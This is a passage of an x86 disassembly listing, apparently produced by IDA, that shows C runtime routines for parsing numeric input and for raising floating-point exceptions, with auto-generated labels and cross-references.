		jle	short loc_41C76E
		push	80h
		push	ebx
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		jmp	short loc_41C77B
; ---------------------------------------------------------------------------


loc_41C76E:				; CODE XREF: sub_41BFF5+768j
		mov	eax, off_43AB80
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_41C77B:				; CODE XREF: sub_41BFF5+777j
		test	eax, eax
		jz	loc_41C826
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_41FA70
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_41CA1A
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41C7F8
; ---------------------------------------------------------------------------


loc_41C7A5:				; CODE XREF: sub_41BFF5+75Fj
		cmp	dword_43AD8C, 1
		jle	short loc_41C7BA
		push	4
		push	ebx
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		jmp	short loc_41C7C5
; ---------------------------------------------------------------------------


loc_41C7BA:				; CODE XREF: sub_41BFF5+7B7j
		mov	eax, off_43AB80
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41C7C5:				; CODE XREF: sub_41BFF5+7C3j
		test	eax, eax
		jz	short loc_41C826
		cmp	esi, 6Fh
		jnz	short loc_41C7E3
		cmp	ebx, 38h
		jge	short loc_41C826
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_41FA70
		jmp	short loc_41C7F2
; ---------------------------------------------------------------------------


loc_41C7E3:				; CODE XREF: sub_41BFF5+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_419780


loc_41C7F2:				; CODE XREF: sub_41BFF5+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_41C7F8:				; CODE XREF: sub_41BFF5+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_41C810
		dec	[ebp+var_C]
		jz	short loc_41C834


loc_41C810:				; CODE XREF: sub_41BFF5+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41CA51
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41C751
; ---------------------------------------------------------------------------


loc_41C826:				; CODE XREF: sub_41BFF5+788j
					; sub_41BFF5+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41CA6B
		pop	ecx
		pop	ecx


loc_41C834:				; CODE XREF: sub_41BFF5+756j
					; sub_41BFF5+819j
		cmp	[ebp+var_17], 0
		jz	loc_41C91A
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_41C91A
; ---------------------------------------------------------------------------


loc_41C856:				; CODE XREF: sub_41BFF5+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_41C912


loc_41C860:				; CODE XREF: sub_41BFF5+90Aj
		cmp	esi, 78h
		jz	short loc_41C8A4
		cmp	esi, 70h
		jz	short loc_41C8A4
		cmp	dword_43AD8C, 1
		jle	short loc_41C87F
		push	4
		push	ebx
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C87F:				; CODE XREF: sub_41BFF5+87Cj
		mov	eax, off_43AB80
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41C88A:				; CODE XREF: sub_41BFF5+888j
		test	eax, eax
		jz	short loc_41C904
		cmp	esi, 6Fh
		jnz	short loc_41C89D
		cmp	ebx, 38h
		jge	short loc_41C904
		shl	edi, 3
		jmp	short loc_41C8DC
; ---------------------------------------------------------------------------


loc_41C89D:				; CODE XREF: sub_41BFF5+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_41C8DC
; ---------------------------------------------------------------------------


loc_41C8A4:				; CODE XREF: sub_41BFF5+86Ej
					; sub_41BFF5+873j
		cmp	dword_43AD8C, 1
		jle	short loc_41C8BC
		push	80h
		push	ebx
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		jmp	short loc_41C8C9
; ---------------------------------------------------------------------------


loc_41C8BC:				; CODE XREF: sub_41BFF5+8B6j
		mov	eax, off_43AB80
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_41C8C9:				; CODE XREF: sub_41BFF5+8C5j
		test	eax, eax
		jz	short loc_41C904
		push	ebx
		shl	edi, 4
		call	sub_41CA1A
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41C8DC:				; CODE XREF: sub_41BFF5+8A6j
					; sub_41BFF5+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_41C8EE
		dec	[ebp+var_C]
		jz	short loc_41C912


loc_41C8EE:				; CODE XREF: sub_41BFF5+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41CA51
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41C860
; ---------------------------------------------------------------------------


loc_41C904:				; CODE XREF: sub_41BFF5+897j
					; sub_41BFF5+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41CA6B
		pop	ecx
		pop	ecx


loc_41C912:				; CODE XREF: sub_41BFF5+865j
					; sub_41BFF5+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_41C91A
		neg	edi


loc_41C91A:				; CODE XREF: sub_41BFF5+843j
					; sub_41BFF5+85Cj ...
		cmp	esi, 46h
		jnz	short loc_41C923
		and	[ebp+var_1C], 0


loc_41C923:				; CODE XREF: sub_41BFF5+928j
		cmp	[ebp+var_1C], 0
		jz	loc_41C9FB
		cmp	[ebp+var_E], 0
		jnz	short loc_41C95C
		inc	[ebp+var_34]


loc_41C936:				; CODE XREF: sub_41BFF5+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_41C94C
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_41C95C
; ---------------------------------------------------------------------------


loc_41C94C:				; CODE XREF: sub_41BFF5+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41C959
		mov	[eax], edi
		jmp	short loc_41C95C
; ---------------------------------------------------------------------------


loc_41C959:				; CODE XREF: sub_41BFF5+95Ej
		mov	[eax], di


loc_41C95C:				; CODE XREF: sub_41BFF5+241j
					; sub_41BFF5+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_41C9A9
; ---------------------------------------------------------------------------


loc_41C967:				; CODE XREF: sub_41BFF5+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_41CA51
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_41C9D6
		mov	ecx, off_43AB80
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41C9A9
		inc	[ebp+var_4]
		push	edi
		call	sub_41CA51
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_41C9E4
		dec	[ebp+var_4]


loc_41C9A9:				; CODE XREF: sub_41BFF5+970j
					; sub_41BFF5+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41C9BF
		cmp	byte ptr [esi],	25h
		jnz	short loc_41CA01
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_41CA01
		mov	esi, eax


loc_41C9BF:				; CODE XREF: sub_41BFF5+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_41C01F
		jmp	short loc_41C9FB
; ---------------------------------------------------------------------------


loc_41C9CB:				; CODE XREF: sub_41BFF5+1F4j
					; sub_41BFF5+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_41C9DB
; ---------------------------------------------------------------------------


loc_41C9D6:				; CODE XREF: sub_41BFF5+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_41C9DB:				; CODE XREF: sub_41BFF5+9DFj
		call	sub_41CA6B
		pop	ecx
		pop	ecx
		jmp	short loc_41C9FB
; ---------------------------------------------------------------------------


loc_41C9E4:				; CODE XREF: sub_41BFF5+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41CA6B
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41CA6B
		add	esp, 10h


loc_41C9FB:				; CODE XREF: sub_41BFF5+1Fj
					; sub_41BFF5+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41CA12


loc_41CA01:				; CODE XREF: sub_41BFF5+9BDj
					; sub_41BFF5+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_41CA15
		cmp	[ebp+var_15], al
		jnz	short loc_41CA15
		or	eax, 0FFFFFFFFh
		jmp	short loc_41CA15
; ---------------------------------------------------------------------------


loc_41CA12:				; CODE XREF: sub_41BFF5+A0Aj
		mov	eax, [ebp+var_34]


loc_41CA15:				; CODE XREF: sub_41BFF5+A11j
					; sub_41BFF5+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BFF5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CA1A	proc near		; CODE XREF: sub_41BFF5+7A3p
					; sub_41BFF5+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43AD8C, 1
		push	esi
		jle	short loc_41CA34
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		jmp	short loc_41CA43
; ---------------------------------------------------------------------------


loc_41CA34:				; CODE XREF: sub_41CA1A+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43AB80
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41CA43:				; CODE XREF: sub_41CA1A+18j
		test	eax, eax
		jnz	short loc_41CA4D
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_41CA4D:				; CODE XREF: sub_41CA1A+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_41CA1A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CA51	proc near		; CODE XREF: sub_41BFF5+1E1p
					; sub_41BFF5+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_41CA63
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_41CA63:				; CODE XREF: sub_41CA51+7j
		push	edx
		call	sub_41AB28
		pop	ecx
		retn
sub_41CA51	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CA6B	proc near		; CODE XREF: sub_41BFF5+6Bp
					; sub_41BFF5+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_41CA81
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41FA8F
		pop	ecx
		pop	ecx

locret_41CA81:				; CODE XREF: sub_41CA6B+5j
		retn
sub_41CA6B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CA82	proc near		; CODE XREF: sub_41BFF5+63p
					; sub_41BFF5+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_41CA88:				; CODE XREF: sub_41CA82+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_41CA51
		mov	edi, eax
		push	edi
		call	sub_4199C2
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41CA88
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41CA82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_41CAA6(int,int,double,int)

sub_41CAA6	proc near		; CODE XREF: sub_418B79+51p
					; sub_418CBF+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43B500, 0
		jnz	short loc_41CADB
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_41D05B
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41CADB:				; CODE XREF: sub_41CAA6+Aj
		push	0FFFFh
		mov	dword_4D86D0, 21h
		push	[ebp+arg_C]
		call	sub_41D2CE
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_41CAA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41CAF9(int,int,double,double,int)

sub_41CAF9	proc near		; CODE XREF: sub_418B79:loc_418C3Cp
					; sub_418CBF:loc_418D82p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_41CE44
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41CB37
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_41CB91
		add	esp, 18h


loc_41CB37:				; CODE XREF: sub_41CAF9+1Aj
		push	[ebp+arg_0]
		call	sub_41D12E
		cmp	dword_43B500, 0
		pop	ecx
		jnz	short loc_41CB75
		test	eax, eax
		jz	short loc_41CB75
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_41D05B
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_41CB75:				; CODE XREF: sub_41CAF9+4Ej
					; sub_41CAF9+52j
		push	eax
		call	sub_41D0E3
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_41D2CE
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_41CAF9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CB91	proc near		; CODE XREF: sub_41CAF9+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_41CBC3
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_41CBC3:				; CODE XREF: sub_41CB91+23j
		test	cl, 2
		jz	short loc_41CBD6
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_41CBD6:				; CODE XREF: sub_41CB91+35j
		test	cl, bl
		jz	short loc_41CBE8
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_41CBE8:				; CODE XREF: sub_41CB91+47j
		test	cl, 4
		jz	short loc_41CBFB
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_41CBFB:				; CODE XREF: sub_41CB91+5Aj
		test	cl, 8
		jz	short loc_41CC0E
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_41CC0E:				; CODE XREF: sub_41CB91+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_41D2B1
		test	al, bl
		jz	short loc_41CC97
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_41CC97:				; CODE XREF: sub_41CB91+FDj
		test	al, 4
		jz	short loc_41CCA2
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_41CCA2:				; CODE XREF: sub_41CB91+108j
		test	al, 8
		jz	short loc_41CCAD
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_41CCAD:				; CODE XREF: sub_41CB91+113j
		test	al, 10h
		jz	short loc_41CCB7
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_41CCB7:				; CODE XREF: sub_41CB91+11Ej
		test	al, 20h
		jz	short loc_41CCC1
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_41CCC1:				; CODE XREF: sub_41CB91+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_41CD00
		cmp	eax, 400h
		jz	short loc_41CCF2
		cmp	eax, 800h
		jz	short loc_41CCE6
		cmp	eax, ecx
		jnz	short loc_41CD06
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_41CD06
; ---------------------------------------------------------------------------


loc_41CCE6:				; CODE XREF: sub_41CB91+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_41CCFC
; ---------------------------------------------------------------------------


loc_41CCF2:				; CODE XREF: sub_41CB91+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_41CCFC:				; CODE XREF: sub_41CB91+15Fj
		mov	[eax], ecx
		jmp	short loc_41CD06
; ---------------------------------------------------------------------------


loc_41CD00:				; CODE XREF: sub_41CB91+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_41CD06:				; CODE XREF: sub_41CB91+14Bj
					; sub_41CB91+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_41CD31
		cmp	eax, 200h
		jz	short loc_41CD24
		cmp	eax, ecx
		jnz	short loc_41CD3E
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_41CD3E
; ---------------------------------------------------------------------------


loc_41CD24:				; CODE XREF: sub_41CB91+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_41CD3C
; ---------------------------------------------------------------------------


loc_41CD31:				; CODE XREF: sub_41CB91+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_41CD3C:				; CODE XREF: sub_41CB91+19Ej
		mov	[eax], ecx


loc_41CD3E:				; CODE XREF: sub_41CB91+189j
					; sub_41CB91+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_41D2BF
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	dword_42305C	; RaiseException
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_41CDB8
		and	dword ptr [esi], 0FFFFFFFEh


loc_41CDB8:				; CODE XREF: sub_41CB91+222j
		test	byte ptr [eax+8], 8
		jz	short loc_41CDC1
		and	dword ptr [esi], 0FFFFFFFBh


loc_41CDC1:				; CODE XREF: sub_41CB91+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_41CDCA
		and	dword ptr [esi], 0FFFFFFF7h


loc_41CDCA:				; CODE XREF: sub_41CB91+234j
		test	byte ptr [eax+8], 2
		jz	short loc_41CDD3
		and	dword ptr [esi], 0FFFFFFEFh


loc_41CDD3:				; CODE XREF: sub_41CB91+23Dj
		test	[eax+8], bl
		jz	short loc_41CDDB
		and	dword ptr [esi], 0FFFFFFDFh


loc_41CDDB:				; CODE XREF: sub_41CB91+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_41CE0F
		dec	ecx
		jz	short loc_41CE03
		dec	ecx
		jz	short loc_41CDF9
		dec	ecx
		jnz	short loc_41CE11
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_41CE11
; ---------------------------------------------------------------------------


loc_41CDF9:				; CODE XREF: sub_41CB91+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_41CE0B
; ---------------------------------------------------------------------------


loc_41CE03:				; CODE XREF: sub_41CB91+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_41CE0B:				; CODE XREF: sub_41CB91+270j
		mov	[esi], ecx
		jmp	short loc_41CE11
; ---------------------------------------------------------------------------


loc_41CE0F:				; CODE XREF: sub_41CB91+257j
		and	[esi], edx


loc_41CE11:				; CODE XREF: sub_41CB91+260j
					; sub_41CB91+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_41CE31
		dec	ecx
		jz	short loc_41CE28
		dec	ecx
		jnz	short loc_41CE3A
		and	[esi], edx
		jmp	short loc_41CE3A
; ---------------------------------------------------------------------------


loc_41CE28:				; CODE XREF: sub_41CB91+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_41CE38
; ---------------------------------------------------------------------------


loc_41CE31:				; CODE XREF: sub_41CB91+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_41CE38:				; CODE XREF: sub_41CB91+29Ej
		mov	[esi], ecx


loc_41CE3A:				; CODE XREF: sub_41CB91+291j
					; sub_41CB91+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41CB91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CE44	proc near		; CODE XREF: sub_41CAF9+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_41CE6F
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_41CE6F
		push	ebx
		call	sub_41D2F1
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_41D039
; ---------------------------------------------------------------------------


loc_41CE6F:				; CODE XREF: sub_41CE44+15j
					; sub_41CE44+1Aj
		test	al, 4
		jz	short loc_41CE89
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_41CE89
		push	4
		call	sub_41D2F1
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_41D039
; ---------------------------------------------------------------------------


loc_41CE89:				; CODE XREF: sub_41CE44+2Dj
					; sub_41CE44+33j
		test	al, bl
		jz	loc_41CF63
		test	byte ptr [ebp+arg_8], 8
		jz	loc_41CF63
		push	8
		call	sub_41D2F1
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_41CF3B
		cmp	ecx, 400h
		jz	short loc_41CF13
		cmp	ecx, 800h
		jz	short loc_41CEEB
		cmp	ecx, eax
		jnz	loc_41CF5B
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_423840
		fld	dbl_43B0F8
		fnstsw	ax
		sahf
		ja	short loc_41CEE3
		fchs


loc_41CEE3:				; CODE XREF: sub_41CE44+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41CF59
; ---------------------------------------------------------------------------


loc_41CEEB:				; CODE XREF: sub_41CE44+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_423840
		fnstsw	ax
		sahf
		jbe	short loc_41CF03
		fld	dbl_43B0E8
		jmp	short loc_41CF0B
; ---------------------------------------------------------------------------


loc_41CF03:				; CODE XREF: sub_41CE44+B5j
		fld	dbl_43B0F8
		fchs


loc_41CF0B:				; CODE XREF: sub_41CE44+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41CF59
; ---------------------------------------------------------------------------


loc_41CF13:				; CODE XREF: sub_41CE44+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_423840
		fnstsw	ax
		sahf
		jbe	short loc_41CF2B
		fld	dbl_43B0F8
		jmp	short loc_41CF33
; ---------------------------------------------------------------------------


loc_41CF2B:				; CODE XREF: sub_41CE44+DDj
		fld	dbl_43B0E8
		fchs


loc_41CF33:				; CODE XREF: sub_41CE44+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41CF59
; ---------------------------------------------------------------------------


loc_41CF3B:				; CODE XREF: sub_41CE44+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_423840
		fld	dbl_43B0E8
		fnstsw	ax
		sahf
		ja	short loc_41CF53
		fchs


loc_41CF53:				; CODE XREF: sub_41CE44+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_41CF59:				; CODE XREF: sub_41CE44+A5j
					; sub_41CE44+CDj ...
		fstp	qword ptr [ecx]


loc_41CF5B:				; CODE XREF: sub_41CE44+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_41D039
; ---------------------------------------------------------------------------


loc_41CF63:				; CODE XREF: sub_41CE44+47j
					; sub_41CE44+51j
		test	al, 2
		jz	loc_41D039
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_41D039
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_41CF7E
		mov	esi, ebx


loc_41CF7E:				; CODE XREF: sub_41CE44+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
